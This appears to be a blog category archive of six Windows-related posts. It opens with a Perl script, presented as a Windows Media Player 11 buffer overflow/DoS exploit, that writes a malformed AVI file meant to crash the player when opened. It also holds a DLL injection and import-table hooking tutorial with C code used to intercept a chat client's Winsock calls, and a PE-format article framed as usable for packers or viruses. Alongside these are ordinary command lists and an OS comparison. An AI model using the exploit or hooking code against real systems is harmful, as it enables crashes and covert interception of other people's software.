'windows'에 해당되는 글 6건

  1. 2011.04.02 Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit by CEOinIRVINE 2
  2. 2009.03.04 DLL Injection by CEOinIRVINE
  3. 2009.02.26 Windows Command Prompts 01/30/2009 by CEOinIRVINE
  4. 2009.02.06 CIS BenchMark by CEOinIRVINE
  5. 2008.12.26 OS Shoot Out by CEOinIRVINE
  6. 2008.09.25 Portable Excutable File - Window Hacking by CEOinIRVINE
#!/usr/bin/perl
#(+)Exploit Title: Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit
#(+)Software  : Windows Media player
#(+)Version   : 11.0.5721.5145
#(+)Tested On : WIN-XP SP3
#(+) Date     : 31.03.2011
#(+) Hour     : 13:37
#Similar Bug was found by cr4wl3r in MediaPlayer Classic

system("color 6");
system("title Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit");
print "
_______________________________________________________________________
                                                                   
(+)Exploit Title:  Windows Media player 11.0.5721.5145 Buffer overflow/DOS Exploit
 
       
(+) Software  : Windows Media player
(+) Version   : 11.0.5721.5145                                   
(+) Tested On : WIN-XP SP3                                               
(+) Date      : 31.03.2011                                               
(+) Hour      : 13:37 PM                                                   
____________________________________________________________________\n    ";
sleep 2;
system("cls");
system("color 2");
print "\nGenerating the exploit file !!!";
sleep 2;
print "\n\nWMPExploit.avi file generated!!";
sleep 2;
$theoverflow = "\x4D\x54\x68\x64\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00";
 
open(file, "> WMPExploit.avi");
print (file $theoverflow);
print "\n\n(+) Done!\n
(+) Now Just open WMPExplot.avi with Windows Media player and Kaboooommm !! ;) \n
(+) Most of the times there is a crash\n whenever you open the folder where the WMPExploit.avi is stored :D \n";

sleep 3;
system("cls");
sleep 1;
system("color C");
print "\n\n\n########################################################################\n
(+)Exploit Coded by: ^Xecuti0N3r\n
(+)^Xecuti0N3r: E-mail : xecuti0n3r@yahoo.com \n
(+)Special Thanks to: MaxCaps, d3M0l!tioN3r & aNnIh!LatioN3r \n
########################################################################\n\n";
system("pause");

'Hacking' 카테고리의 다른 글

Firewall DoS Attacks  (0) 2011.07.28
IP Spoofing  (1) 2011.07.28
Antivirus and Security software coupons  (0) 2011.03.26
2011 Malware Trends  (0) 2011.03.26
Top Ten Antivirus 2012  (1) 2011.03.26
Posted by CEOinIRVINE
l

DLL Injection

Hacking 2009. 3. 4. 05:09

Introduction

The source files depend a lot on function pointers. Overview is recommended.

DLL Injection is similar to 'Injecting' code into an already running process. Many things have been taken from Matt Pietrek's book 'Secrets of Windows 95'.

Function interception means 'intercepting' an API function that was loaded by a statically linked DLL by modifying the address of the beginning of the function's code, resulting in the application to call your 'intercepting' function instead of the original 'intercepted' function. This is similar to the idea in "APIHijack - A Library for easy DLL function hooking" article posted by Wade Brainerd.

DLL Injection

"DLL Injection" is not an accurate name for what my content will actually be. My code will 'inject' a series of assembled assembly language instructions [Code] into some available space in the running process and alters the registers to point at the offset of the 'injected' [code]. The process will of course execute the instructions which will load a certain DLL, which is the DLL that is being injected. Note that this code 'Injects' [code]. The code can be anything, it doesn't necessarily have to load a DLL. Hence, the inaccurate title.

There are two ways to 'Inject' a series of bytes into an already running process. VirtualAllocEx() - which isn't supported in Win9x/ME - will allow a process to reserve or commit a region of memory within the virtual address space of a separate specified process. Use WriteProcessMemory() to write the data in the reserved/committed area of the target process' memory. The other way is to directly use ReadProcessMemory() and WriteProcessMemory() - which is supported in all versions of Windows - to search for some accessible area of the target process' memory and replace the bytes within the area size equal to the size of the code. Of course, you will be saving a backup of the replaced bytes in order to put them all back later on.

(Of course, you can use CreateRemoteThread() instead of all this, but it's not supported in all versions of Windows.)

One good yet slow method of injecting the code is using Windows' debugging functions. Suspend the threads of the running process (using the debugging functions) and use GetThreadContext() and SetThreadContext() to save a backup of all the registers and then modify the EIP register, which is the register that contains the offset of the current to-be-executed code, to point it to the 'Injected' code. The injected code block will have a breakpoint set at the end of it (Interrupt 3h -int 3h-). Again, use the debugging functions to resume the threads, which will then continue executing till the first breakpoint is reached. Once your application receives the notification, all you have to do is restore the modified bytes and/or un-allocate any allocated space in memory, and finally restore the registers (SetThreadContext()). That's all there is to it. The application has no idea of what has happened! The code was executed, and probably loaded a DLL. As you know, loaded DLLs are in an application's address space, therefore, the DLLs can access all memory and control the whole application. Very interesting.

Lookup the MSDN library for more information (MSDN).

Useful points to lookup:

  1. Memory management...you need to know how Windows manages its memory.
  2. How DLLs tick - MSDN - I suggest you read it. Might help in inspirations. Revising isn't bad.
  3. PE/COFF Headers specifications... The most important thing if you're doing this in Win9x/ME - MSDN.
  4. Basic debugging APIs...those are some APIs that allow you to debug certain applications. Lookup the section "Debugging and Error Handling" in MSDN.
  5. Enough knowledge of ASM is required of course...and OPCODES of instructions.

Have a look at the accompanied files: Injector_src.zip.

---

Google Groups - A Message board thread on CreateRemoteThread()'s method.

Function Interception

Notice the DLL project in the zip file. This function is in HookApi.h.

Collapse Copy Code
// Macro for adding pointers/DWORDs together without C arithmetic interfering 
// -- Taken from Matt Pietrek's book
// Thought it'd be great to use..
#define MakePtr( cast, ptr, addValue ) (cast)( (DWORD)(ptr)+(DWORD)(addValue))
Collapse Copy Code
//This code is very similar to Matt Pietrek's, except that it is written 
//according to my understanding...
//And Matt Pietrek's also handles Win32s 
//--(Because they it has some sort of a problem)
Collapse Copy Code
PROC WINAPI HookImportedFunction(HMODULE hModule,
			         //Module to intercept calls from
     PSTR FunctionModule, //The dll file that contains the function you want to 
			  //hook(ex: "USER32.dll")
     PSTR FunctionName,   //The function that you want to hook 
			  //(ex: "MessageBoxA")
     PROC pfnNewProc)     //New function, this gets called instead
{
    PROC pfnOriginalProc; //The intercepted function's original location
    IMAGE_DOS_HEADER *pDosHeader; 
    IMAGE_NT_HEADERS *pNTHeader;
    IMAGE_IMPORT_DESCRIPTOR *pImportDesc;
    IMAGE_THUNK_DATA *pThunk;
Collapse Copy Code
    // Verify that a valid pfn was passed

    if ( IsBadCodePtr(pfnNewProc) ) return 0; 

    pfnOriginalProc = GetProcAddress(GetModuleHandle(FunctionModule), 
                                                         FunctionName);
    if(!pfnOriginalProc) return 0;
Collapse Copy Code
    pDosHeader = (PIMAGE_DOS_HEADER)hModule; 
    //kindly read the ImgHelp function reference 
    //in the Image Help Library section in MSDN
    //hModule is the Process's Base address  (GetModuleHandle(0)) 
    //even if called in the dll, it still gets the hModule of the calling process
    //---That's you should save the hInstance of the DLL as a global variable, 
    //in DllMain(), because it's the only way to get it(I think)
Collapse Copy Code
    // Tests to make sure we're looking at a module image (the 'MZ' header)
    if ( IsBadReadPtr(pDosHeader, sizeof(IMAGE_DOS_HEADER)) )
        return 0;
    if ( pDosHeader->e_magic != IMAGE_DOS_SIGNATURE ) 
	//Image_DOS_SIGNATURE is a WORD (2bytes, 'M', 'Z' 's values)
        return 0;
Collapse Copy Code
    // The MZ header has a pointer to the PE header
    pNTHeader = MakePtr(PIMAGE_NT_HEADERS, pDosHeader, pDosHeader->e_lfanew); 
    //it's like doing pDosHeader + pDosHeader->e_lfanew
    // e_lfanew contains a RVA to the 'PE\0\0' Header...An rva means, offset,
    // relative to the BaseAddress of module 
    // -pDosHeader is the base address..and e_lfanew is the RVA, 
    // so summing them, will give you the Virtual Address..
Collapse Copy Code
    // More tests to make sure we're looking at a "PE" image
    if ( IsBadReadPtr(pNTHeader, sizeof(IMAGE_NT_HEADERS)) )
        return 0;
    if ( pNTHeader->Signature != IMAGE_NT_SIGNATURE ) 
	//IMAGE_NT_SIGNATURE is a DWORD (4bytes, 'P', 'E', '\0', '\0' 's values)
        return 0;
Collapse Copy Code
    // We now have a valid pointer to the module's PE header. 
    // Now get a pointer to its imports section
    pImportDesc = MakePtr(PIMAGE_IMPORT_DESCRIPTOR, 
      pDosHeader, //IMAGE_IMPORT_DESCRIPTOR *pImportDesc;
      pNTHeader->OptionalHeader.DataDirectory
       [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    //What i just did was get the imports section by getting the RVA of it
    //(like i did above), then adding the base addr to it.
    //// pNTHeader->OptionalHeader.DataDirectory
    ///     [IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress
    //// IMAGE_DIRECTORY_ENTRY_IMPORT==1 -- Look at that PE documentation. 
    //// Pietrek's articles in MSJ and MSDN Magazine will be real helpful!
Collapse Copy Code
    //Go out if imports table doesn't exist
    if ( pImportDesc == (PIMAGE_IMPORT_DESCRIPTOR)pNTHeader )
        return 0; //pImportDesc will ==pNTHeader. 
	//if the RVA==0, cause pNTHeader+0==pNTHeader -> stored in pImportDesc
	//Therefore, pImportDesc==pNTHeader
Collapse Copy Code
    // Iterate through the array of imported module descriptors, looking
    // for the module whose name matches the FunctionModule parameter
    while ( pImportDesc->Name ) //Name is a DWORD (RVA, to a DLL name)
    {
        PSTR pszModName = MakePtr(PSTR, pDosHeader, pImportDesc->Name);

        if ( stricmp(pszModName, FunctionModule) == 0 ) 
	    //str"i"cmp,,, suggest you to ignore cases when comparing,
            break; //or strcmpi() in some compilers
Collapse Copy Code
        pImportDesc++;  // Advance to next imported module descriptor
    }
Collapse Copy Code
    // Get out if we didn't find the Dll name. 
    // pImportDesc->Name will be non-zero if we found it.
    if ( pImportDesc->Name == 0 )
        return 0;
Collapse Copy Code
 // Get a pointer to the found module's import address table (IAT)
 //           =====IMAGE_THUNK_DATA *pThunk;
    pThunk = MakePtr(PIMAGE_THUNK_DATA, pDosHeader, pImportDesc->FirstThunk);
 //This is what i was talkin about earlier...
 //In pThunk, if it was image loaded in memory, you'll get the address to 
 //entry point of functions
 //but in a disk file, It's a function name

 // Look through the table of import addresses, of the found 
 // DLL, looking for the function's entry point that matches 
 // the address we got back from GetProcAddress above.
Collapse Copy Code
    while ( pThunk->u1.Function )
    {
       if ( (DWORD)pThunk->u1.Function == (DWORD)pfnOriginalProc )
        {
       // We found it!  Overwrite the original address with the
       // address of the interception function.  Return the original
       // address to the caller so that they can chain on to it.
            pThunk->u1.Function = (PDWORD)pfnNewProc; 
	    // pfnNewProc is in the parameters of the function
	    //pfnOriginalProc = (PROC)(DWORD)pdw1;
            return pfnOriginalProc;
        }

        pThunk++;   // Advance to next imported function address
    }
Collapse Copy Code
    return 0; //function not found!!!!!
}

Also notice:

  • HANDLE OpenLog(char *Filename)
  • BOOL CloseLog(HANDLE h)
  • DWORD AppendLog(char *str, DWORD uSize, HANDLE h)

They are the functions to write to the LOG file. What the whole project does is inject a DLL into an already running process (mIRC.exe - mIRC chatting program (mIRC)) [in my case]. It then creates a Log file of all the intercepted Winsock functions. Have a look at Successlog.txt. It is highly recommended that you apply the program on mIRC only, since it has been created for it. Have fun coding your own :)

I think you got the idea. I hope this is useful.

Regards,

Posted by CEOinIRVINE
l

 

compmgmt.msc - Computer management
devmgmt.msc - Device manager
diskmgmt.msc - Disk management
dfrg.msc - Disk defrag
eventvwr.msc - Event viewer
fsmgmt.msc - Shared folders
gpedit.msc - Group policies
lusrmgr.msc - Local users and groups
perfmon.msc - Performance monitor
rsop.msc - Resultant set of policies
secpol.msc - Local security settings
services.msc - Various Services
msconfig - System Configuration Utility
regedit - Registry Editor
msinfo32 _ System Information
sysedit _ System Edit
win.ini _ windows loading information(also system.ini)
winver _ Shows current version of windows
mailto: _ Opens default email client
command _ Opens command prompt


Run Commands to access the control panel:
Add/Remove Programs control appwiz.cpl
Date/Time Properties control timedate.cpl
Display Properties control desk.cpl
FindFast control findfast.cpl
Fonts Folder control fonts
Internet Properties control inetcpl.cpl
Keyboard Properties control main.cpl keyboard
Mouse Properties control main.cpl
Multimedia Properties control mmsys.cpl
Network Properties control netcpl.cpl
Password Properties control password.cpl
Printers Folder control printers
Sound Properties control mmsys.cpl sounds
System Properties control sysdm.cpl


Command Prompt:
ANSI.SYS Defines functions that change display graphics, control cursor movement, and reassign keys.
APPEND Causes MS-DOS to look in other directories when editing a file or running a command.
ARP Displays, adds, and removes arp information from network devices.
ASSIGN Assign a drive letter to an alternate letter.
ASSOC View the file associations.
AT Schedule a time to execute commands or programs.
ATMADM Lists connections and addresses seen by Windows ATM call manager.
ATTRIB Display and change file attributes.
BATCH Recovery console command that executes a series of commands in a file.
BOOTCFG Recovery console command that allows a user to view, modify, and rebuild the boot.ini
BREAK Enable / disable CTRL + C feature.
CACLS View and modify file ACL's.
CALL Calls a batch file from another batch file.
CD Changes directories.
CHCP Supplement the International keyboard and character set information.
CHDIR Changes directories.
CHKDSK Check the hard disk drive running FAT for errors.
CHKNTFS Check the hard disk drive running NTFS for errors.
CHOICE Specify a listing of multiple options within a batch file.
CLS Clears the screen.
CMD Opens the command interpreter.
COLOR Easily change the foreground and background color of the MS-DOS window.
COMP Compares files.
COMPACT Compresses and uncompress files.
CONTROL Open control panel icons from the MS-DOS prompt.
CONVERT Convert FAT to NTFS.
COPY Copy one or more files to an alternate location.
CTTY Change the computers input/output devices.
DATE View or change the systems date.
DEBUG Debug utility to create assembly programs to modify hardware settings.
DEFRAG Re-arrange the hard disk drive to help with loading programs.
DEL Deletes one or more files.
DELETE Recovery console command that deletes a file.
DELTREE Deletes one or more files and/or directories.
DIR List the contents of one or more directory.
DISABLE Recovery console command that disables Windows system services or drivers.
DISKCOMP Compare a disk with another disk.
DISKCOPY Copy the contents of one disk and place them on another disk.
DOSKEY Command to view and execute commands that have been run in the past.
DOSSHELL A GUI to help with early MS-DOS users.
DRIVPARM Enables overwrite of original device drivers.
ECHO Displays messages and enables and disables echo.
EDIT View and edit files.
EDLIN View and edit files.
EMM386 Load extended Memory Manager.
ENABLE Recovery console command to enable a disable service or driver.
ENDLOCAL Stops the localization of the environment changes enabled by the setlocal command.
ERASE Erase files from computer.
EXIT Exit from the command interpreter.
EXPAND Expand a M*cros*ft Windows file back to it's original format.
EXTRACT Extract files from the M*cros*ft Windows cabinets.
FASTHELP Displays a listing of MS-DOS commands and information about them.
FC Compare files.
FDISK Utility used to create partitions on the hard disk drive.
FIND Search for text within a file.
FINDSTR Searches for a string of text within a file.
FIXBOOT Writes a new boot sector.
FIXMBR Writes a new boot record to a disk drive.
FOR Boolean used in batch files.
FORMAT Command to erase and prepare a disk drive.
FTP Command to connect and operate on a FTP server.
FTYPE Displays or modifies file types used in file extension associations.
GOTO Moves a batch file to a specific label or location.
GRAFTABL Show extended characters in graphics mode.
HELP Display a listing of commands and brief explanation.
IF Allows for batch files to perform conditional processing.
IFSHLP.SYS 32-bit file manager.
IPCONFIG Network command to view network adapter settings and assigned values.
KEYB Change layout of keyboard.
LABEL Change the label of a disk drive.
LH Load a device driver in to high memory.
LISTSVC Recovery console command that displays the services and drivers.
LOADFIX Load a program above the first 64k.
LOADHIGH Load a device driver in to high memory.
LOCK Lock the hard disk drive.
LOGON Recovery console command to list installations and enable administrator login.
MAP Displays the device name of a drive.
MD Command to create a new directory.
MEM Display memory on system.
MKDIR Command to create a new directory.
MODE Modify the port or display settings.
MORE Display one page at a time.
MOVE Move one or more files from one directory to another directory.
MSAV Early M*cros*ft Virus scanner.
MSD Diagnostics utility.
MSCDEX Utility used to load and provide access to the CD-ROM.
NBTSTAT Displays protocol statistics and current TCP/IP connections using NBT
NET Update, fix, or view the network or network settings
NETSH Configure dynamic and static network information from MS-DOS.
NETSTAT Display the TCP/IP network protocol statistics and information.
NLSFUNC Load country specific information.
NSLOOKUP Look up an IP address of a domain or host on a network.
PATH View and modify the computers path location.
PATHPING View and locate locations of network latency.
PAUSE Command used in batch files to stop the processing of a command.
PING Test / send information to another network computer or network device.
POPD Changes to the directory or network path stored by the pushd command.
POWER Conserve power with computer portables.
PRINT Prints data to a printer port.
PROMPT View and change the MS-DOS prompt.
PUSHD Stores a directory or network path in memory so it can be returned to at any time.
QBASIC Open the QBasic.
RD Removes an empty directory.
REN Renames a file or directory.
RENAME Renames a file or directory.
RMDIR Removes an empty directory.
ROUTE View and configure windows network route tables.
RUNAS Enables a user to execute a program on another computer.
SCANDISK Run the scandisk utility.
SCANREG Scan registry and recover registry from errors.
SET Change one variable or string to another.
SETLOCAL Enables local environments to be changed without affecting anything else.
SETVER Change MS-DOS version to trick older MS-DOS programs.
SHARE Installs support for file sharing and locking capabilities.
SHIFT Changes the position of replaceable parameters in a batch program.
SHUTDOWN Shutdown the computer from the MS-DOS prompt.
SMARTDRV Create a disk cache in conventional memory or extended memory.
SORT Sorts the input and displays the output to the screen.
START Start a separate window in Windows from the MS-DOS prompt.
SUBST Substitute a folder on your computer for another drive letter.
SWITCHES Remove add functions from MS-DOS.
SYS Transfer system files to disk drive.
TELNET Telnet to another computer / device from the prompt.
TIME View or modify the system time.
TITLE Change the title of their MS-DOS window.
TRACERT Visually view a network packets route across a network.
TREE View a visual tree of the hard disk drive.
TYPE Display the contents of a file.
UNDELETE Undelete a file that has been deleted.
UNFORMAT Unformat a hard disk drive.
UNLOCK Unlock a disk drive.
VER Display the version information.
VERIFY Enables or disables the feature to determine if files have been written properly.
VOL Displays the volume information about the designated drive.
XCOPY Copy multiple files, directories, and/or drives from one location to another.
TRUENAME When placed before a file, will display the whole directory in which it exists
TASKKILL It allows you to kill those unneeded or locked up applications


Windows XP Shortcuts:
ALT+- (ALT+hyphen) Displays the Multiple Document Interface (MDI) child window's System menu
ALT+ENTER View properties for the selected item
ALT+ESC Cycle through items in the order they were opened
ALT+F4 Close the active item, or quit the active program
ALT+SPACEBAR Display the System menu for the active window
ALT+TAB Switch between open items
ALT+Underlined letter Display the corresponding menu
BACKSPACE View the folder one level up in My Computer or Windows Explorer
CTRL+A Select all
CTRL+B Bold
CTRL+C Copy
CTRL+I Italics
CTRL+O Open an item
CTRL+U Underline
CTRL+V Paste
CTRL+X Cut
CTRL+Z Undo
CTRL+F4 Close the active document
CTRL while dragging Copy selected item
CTRL+SHIFT while dragging Create shortcut to selected iteM
CTRL+RIGHT ARROW Move the insertion point to the beginning of the next word
CTRL+LEFT ARROW Move the insertion point to the beginning of the previous word
CTRL+DOWN ARROW Move the insertion point to the beginning of the next paragraph
CTRL+UP ARROW Move the insertion point to the beginning of the previous paragraph
SHIFT+DELETE Delete selected item permanently without placing the item in the Recycle Bin
ESC Cancel the current task
F1 Displays Help
F2 Rename selected item
F3 Search for a file or folder
F4 Display the Address bar list in My Computer or Windows Explorer
F5 Refresh the active window
F6 Cycle through screen elements in a window or on the desktop
F10 Activate the menu bar in the active program
SHIFT+F10 Display the shortcut menu for the selected item
CTRL+ESC Display the Start menu
SHIFT+CTRL+ESC Launches Task Manager
SHIFT when you insert a CD Prevent the CD from automatically playing
WIN Display or hide the Start menu
WIN+BREAK Display the System Properties dialog box
WIN+D Minimizes all Windows and shows the Desktop
WIN+E Open Windows Explorer
WIN+F Search for a file or folder
WIN+F+CTRL Search for computers
WIN+L Locks the desktop
WIN+M Minimize or restore all windows
WIN+R Open the Run dialog box
WIN+TAB Switch between open items


Windows Explorer Shortcuts:
ALT+SPACEBAR - Display the current window’s system menu
SHIFT+F10 - Display the item's context menu
CTRL+ESC - Display the Start menu
ALT+TAB - Switch to the window you last used
ALT+F4 - Close the current window or quit
CTRL+A - Select all items
CTRL+X - Cut selected item(s)
CTRL+C - Copy selected item(s)
CTRL+V - Paste item(s)
CTRL+Z - Undo last action
CTRL+(+) - Automatically resize the columns in the right hand pane
TAB - Move forward through options
ALT+RIGHT ARROW - Move forward to a previous view
ALT+LEFT ARROW - Move backward to a previous view
SHIFT+DELETE - Delete an item immediately
BACKSPACE - View the folder one level up
ALT+ENTER - View an item’s properties
F10 - Activate the menu bar in programs
F6 - Switch between left and right panes
F5 - Refresh window contents
F3 - Display Find application
F2 - Rename selected item


Internet Explorer Shortcuts:
CTRL+A - Select all items on the current page
CTRL+D - Add the current page to your Favorites
CTRL+E - Open the Search bar
CTRL+F - Find on this page
CTRL+H - Open the History bar
CTRL+I - Open the Favorites bar
CTRL+N - Open a new window
CTRL+O - Go to a new location
CTRL+P - Print the current page or active frame
CTRL+S - Save the current page
CTRL+W - Close current browser window
CTRL+ENTER - Adds the http://sfhaxxx.weebly.com (url)
SHIFT+CLICK - Open link in new window
BACKSPACE - Go to the previous page
ALT+HOME - Go to your Home page
HOME - Move to the beginning of a document
TAB - Move forward through items on a page
END - Move to the end of a document
ESC - Stop downloading a page
F11 - Toggle full-screen view
F5 - Refresh the current page
F4 - Display list of typed addresses
F6 - Change Address bar and page focus
ALT+RIGHT ARROW - Go to the next page
SHIFT+CTRL+TAB - Move back between frames
SHIFT+F10 - Display a shortcut menu for a link
SHIFT+TAB - Move back through the items on a page
CTRL+TAB - Move forward between frames
CTRL+C - Copy selected items to the clipboard
CTRL+V - Insert contents of the clipboard
ENTER - Activate a selected link
HOME - Move to the beginning of a document
END - Move to the end of a document
F1 - Display Internet Explorer Help

Posted by CEOinIRVINE
l

CIS BenchMark

Hacking 2009. 2. 6. 04:53

'Hacking' 카테고리의 다른 글

Below is a list of resources you've selected:  (0) 2009.02.06
Security Metrics  (0) 2009.02.06
CIS BenchMark  (3) 2009.02.06
Security Checklists  (0) 2009.02.06
How to Make Sigs and finding packet id's to get Addresses  (0) 2009.02.04
Posted by CEOinIRVINE
l

OS Shoot Out

IT 2008. 12. 26. 03:02

OS shoot-out: Windows vs. Mac OS X vs. Linux

Editor's Note: This article is reprinted from InfoWorld. For more IT news, subscribe to the InfoWorld Daily newsletter.

The Mac's been on a roll, both due to its highly regarded Mac OS X Leopard operating system and to an unhappy reception for Microsoft's Windows Vista. The result: For the first time in memory, the Mac's market share has hit 9.1 percent, according to IDC data, and Windows' market share has dipped below 90 percent. (Linux distributions make up the rest.)

But can either Mac OS X or Linux be more than a niche OS? After all, Windows runs practically everything, from widely used productivity apps such as spreadsheets to highly niche applications such as chemical modeling. Mac OS X and Linux simply don't have the app base that Windows does. Of course, the fact you can run Windows on a Mac or Linux system, thanks to Parallels Desktop and EMC VMware Fusion, lets you have your cake and eat it too.

[ Find out the deployment secrets of Vista adopters and see how the beta Windows 7 performs | Follow InfoWorld's guides on switching to Mac OS X and switching to Linux. ]

For some users -- often technically savvy people such as engineers, consultants, designers, and CTOs -- it is clearly an option that already works quite well. In the past year, running Mac OS X or Linux as your default OS has been made easier by the capability to run Windows in a virtual machine, giving you access to both Windows-only applications and Web sites that rely on Microsoft's Internet Explorer-only ActiveX technology. But in a business environment, switching to a Mac or Linux PC may not be quite as easy.

The Windows option

Despite the increasing adoption of alternatives to Windows, the Microsoft OS remains the standard choice for the vast majority of businesses. After all, it's been their standard for nearly two decades; they know it, have become dependent on it, and understand its capabilities and limitations. Plus, it's backed by a company that puts a lot of resources into maintaining, supporting, and enhancing the OS for its very wide user base -- and has a huge third-party support system, from vendors to consultants.

For most businesses, considering something other than Windows is not even a question; their concern is when to shift to a new version of Windows. Still, as users (re)discover the Mac and questions over Windows' long-term resource requirements hang in the air, some are considering alternatives to, or at least supplements for, Windows in the form of Mac OS X and Linux.

The Mac OS X option

Of the plausible alternatives to Windows, Apple's Mac OS X has the largest market share and history. InfoWorld chief technologist Tom Yager has written that the latest version of the Mac OS, Leopard (10.5), is simply the best operating system available. And Macs are indeed popping up more frequently even within IT circles -- I've seen more MacBook Pros in the hands of CTOs and IT execs at conferences in the past year more than ever before. Although there are no real numbers on just the business adoption of Macs, it's clear that Apple is in growth mode, gaining an increasing proportion of all new computer sales for more than a year now.

Many businesses have already adopted the Mac as a standard platform, discovering that the hardware is typically better designed than equivalent Windows systems for the same price, that security risks are lower, and that there are more enterprise-quality management tools than they expected. InfoWorld has chronicled how to make the switch to Mac OS X.

The drive for Mac adoption often comes from users, not IT. InfoWorld's Yager has chronicled the adventures of one PC user who switched to the Mac OS, showing that for an individual, the conversion was ultimately a rewarding one.

A key tool for any Mac OS X switcher is a virtual machine to run Windows for those apps and Web sites that require it. Both Parallels Desktop 3.0 and VMware's Fusion software will do the trick, as InfoWorld's comparative review has shown.

Although Macs are compatible with most typical hardware, such as monitors and drives, fitting a Mac into an enterprise's management systems and ERP applications can be a different story. Yager's Enterprise Mac blog and the Mac Enterprise user group both provide advice on managing Macs in a traditional IT environment.

The Linux option

The more technically inclined may be attracted to Linux, the most popular form of desktop Unix. Linux desktops typically are challenged by limited hardware compatibility (due to lack of drivers), limited application options, and user interfaces that require active participation to get work done, which tends to keep Linux away from the general user population. Still, it's possible to do, and InfoWorld has chronicled how to make the switch to Linux.

But those who work with a Linux server all day may find that using it on the desktop as well actually makes their lives easier.

Just as Mac users need occasional access to Windows, so do Linux users. Because Linux distributions run on Windows-compatible hardware, it's straightforward to use desktop virtualization software, such as Parallels Workstation, Sun's (formerly Innotek's) VirtualBox, and VMware's Workstation software, to provide access to both environments.

Although some enterprises have committed to wide Linux deployment -- such as automaker Peugeot Citroen's plans to install 20,000 Novell Suse Linux desktops -- most have left Linux to the engineering and development staff.

InfoWorld Enterprise Desktop blogger Randall Kennedy argues that desktop Linux is doomed to remain a tiny niche OS, given the Linux community's lack of interest in providing a UI that regular people could use. Kennedy tried to spend a week working on nothing but the Ubuntu distribution of Linux but gave up on the fifth day.

But Kennedy's take isn't the last word on desktop Linux. Frequent InfoWorld contributor Neil McAllister put together a special report on how to move from Windows to Linux, concluding that the effort was not as hard as you might think.

Who's right? As with any platform choice, they both may be. A one-size-fits-all approach may be unrealistic. And that likely explains why many businesses will have a mix, dominated by Windows XP today (and perhaps Windows 7 in a few years) but not exclusively tied to Microsoft's OS.

'IT' 카테고리의 다른 글

AP source: Ex-eBay CEO to run for Calif. governor  (0) 2009.01.06
PowerDVD  (2) 2009.01.06
Rumor Mac Mini  (0) 2008.12.26
iPhone 3G  (0) 2008.12.26
Google, Apple, Microsoft sued over file preview  (0) 2008.12.26
Posted by CEOinIRVINE
l

Downloads

Contents

0 Preface

It might be, you demand to comprehend the ways a virus program injects its procedure in to the interior of a portable executable file and corrupts it, or you are interested in implementing a packer or a protector for your specific intention to encrypt the data of your portable executable (PE) file. This article is committed to represent a brief intuition to realize the performance which is accomplished by EXE tools or some kind of mal-wares.

You can employ the source code of this article to create your custom EXE builder. It could be used to make an EXE protector in the right way, or with a wrong intention, to pullulate a virus. However, my purpose of writing this article has been to gaze on the first application, so I will not be responsible for the immoral usage of these methods.

1 Prerequisite

There are no specific mandatory prerequisites to follow the topics in this article. If you are familiar with debugger and also the portable file format, I suggest you to drop the sections 2 and 3, the whole of these sections have been made for people who don’t have any knowledge regarding the EXE file format and also debuggers.

2 Portable Executable file format

The Portable Executable file format was defined to provide the best way for the Windows Operating System to execute code and also to store the essential data which is needed to run a program, for example constant data, variable data, import library links, and resource data. It consists of MS-DOS file information, Windows NT file information, Section Headers, and Section images, Table 1.

2.1 The MS-DOS data

These data let you remember the first days of developing the Windows Operating System, the days. We were at the beginning of a way to achieve a complete Operating System like Windows NT 3.51 (I mean, Win3.1, Win95, Win98 were not perfect OSs). The MS-DOS data causes that your executable file calls a function inside MS-DOS and the MS-DOS Stub program lets it display: "This program can not be run in MS-DOS mode" or "This program can be run only in Windows mode", or some things like these comments when you try to run a Windows EXE file inside MS-DOS 6.0, where there is no footstep of Windows. Thus, this data is reserved for the code to indicate these comments in the MS-DOS operating system. The most interesting part of the MS-DOS data is "MZ"! Can you believe, it refers to the name of "Mark Zbikowski", one of the first Microsoft programmers?

To me, only the offset of the PE signature in the MS-DOS data is important, so I can use it to find the position of the Windows NT data. I just recommend you to take a look at Table 1, then observe the structure of IMAGE_DOS_HEADER in the <winnt.h> header in the <Microsoft Visual Studio .net path>\VC7\PlatformSDK\include\ folder or the <Microsoft Visual Studio 6.0 path>\VC98\include\ folder. I do not know why the Microsoft team has forgotten to provide some comment about this structure in the MSDN library!

typedef struct _IMAGE_DOS_HEADER { // DOS .EXE header "MZ"
    WORD   e_magic;                // Magic number
    WORD   e_cblp;                 // Bytes on last page of file
    WORD   e_cp;                   // Pages in file
    WORD   e_crlc;                 // Relocations
    WORD   e_cparhdr;              // Size of header in paragraphs
    WORD   e_minalloc;             // Minimum extra paragraphs needed
    WORD   e_maxalloc;             // Maximum extra paragraphs needed
    WORD   e_ss;                   // Initial (relative) SS value
    WORD   e_sp;                   // Initial SP value
    WORD   e_csum;                 // Checksum
    WORD   e_ip;                   // Initial IP value
    WORD   e_cs;                   // Initial (relative) CS value
    WORD   e_lfarlc;               // File address of relocation table
    WORD   e_ovno;                 // Overlay number
    WORD   e_res[4];               // Reserved words
    WORD   e_oemid;                // OEM identifier (for e_oeminfo)
    WORD   e_oeminfo;              // OEM information; e_oemid specific
    WORD   e_res2[10];             // Reserved words
    LONG   e_lfanew;               // File address of the new exe header
  } IMAGE_DOS_HEADER, *PIMAGE_DOS_HEADER;

e_lfanew is the offset which refers to the position of the Windows NT data. I have provided a program to obtain the header information from an EXE file and to display it to you. To use the program, just try:

PE Viewer

This sample is useful for the whole of this article.

Table 1 - Portable Executable file format structure

MS-DOS
information
IMAGE_DOS_
HEADER
DOS EXE Signature
00000000  ASCII "MZ"
00000002  DW 0090
00000004  DW 0003
00000006  DW 0000
00000008  DW 0004
0000000A  DW 0000
0000000C  DW FFFF
0000000E  DW 0000
00000010  DW 00B8
00000012  DW 0000
00000014  DW 0000
00000016  DW 0000
00000018  DW 0040
0000001A  DW 0000
0000001C  DB 00
…
…
0000003B  DB 00
0000003C  DD 000000F0
DOS_PartPag
DOS_PageCnt
DOS_ReloCnt
DOS_HdrSize
DOS_MinMem
DOS_MaxMem
DOS_ReloSS
DOS_ExeSP
DOS_ChkSum
DOS_ExeIPP
DOS_ReloCS
DOS_TablOff
DOS_Overlay

Reserved words
Offset to PE signature
MS-DOS Stub
Program
00000040  º.´.Í!¸\LÍ!This program canno
00000060  t be run in DOS mode....$.......
Windows NT
information

IMAGE_
NT_HEADERS

Signature PE signature (PE)
000000F0  ASCII "PE"
IMAGE_
